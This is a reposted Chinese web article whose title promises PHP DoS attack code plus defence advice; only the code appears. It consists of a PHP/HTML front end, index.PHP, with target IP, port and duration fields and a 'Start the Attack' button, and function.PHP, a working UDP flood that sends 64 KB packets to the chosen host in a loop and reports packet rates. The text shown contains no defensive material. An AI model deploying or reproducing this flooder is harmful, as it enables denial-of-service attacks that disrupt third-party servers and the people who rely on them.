2018-12-30 PHP 前端之家

前端之家收集整理的这篇文章主要介绍了php DOS攻击实现代码(附如何防范)，前端之家小编觉得挺不错的，现在分享给大家，也给大家做个参考。

index.PHP
<div class="codetitle"><a style="CURSOR: pointer" data="21726" class="copybut" id="copybut21726" onclick="doCopy('code21726')"> 代码如下:

<div class="codebody" id="code21726">
<?PHP
$ip = $_SERVER['REMOTE_ADDR'];
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<Meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
<Meta name="author" content="">
<a href="/tag/PHP/" target="_blank" class="keywords">PHP</a> DoS,Coded by EXE

<style type="text/css">

<img src="main.jpg">

Your IP: <font color="red"><?php echo $ip; ?>(Don't DoS yourself nub)

<form name="input" action="function.PHP" method="post">
IP:
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';">
Time:
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';">
Port:
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';">

<input type="submit" value=" Start the Attack---> ">

After initiating the DoS attack,please wait while the browser loads.

function.PHP
<div class="codetitle"><a style="CURSOR: pointer" data="13440" class="copybut" id="copybut13440" onclick="doCopy('code13440')"> 代码如下:

<div class="codebody" id="code13440">
<?PHP
//=================================================
//PHP DOS v1.8 (Possibly h3er Flood Strength)
//Coded by EXE
//=================================================
$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['time'];
$time = time();
print "Flooded: $ip on port $rand

";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip",$rand,$errno,$errstr,5);
if($fp){
fwrite($fp,$out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024,2) . " mB) packets averaging ". round($packets/$exec_time,2) . " packets/s \n";
?>
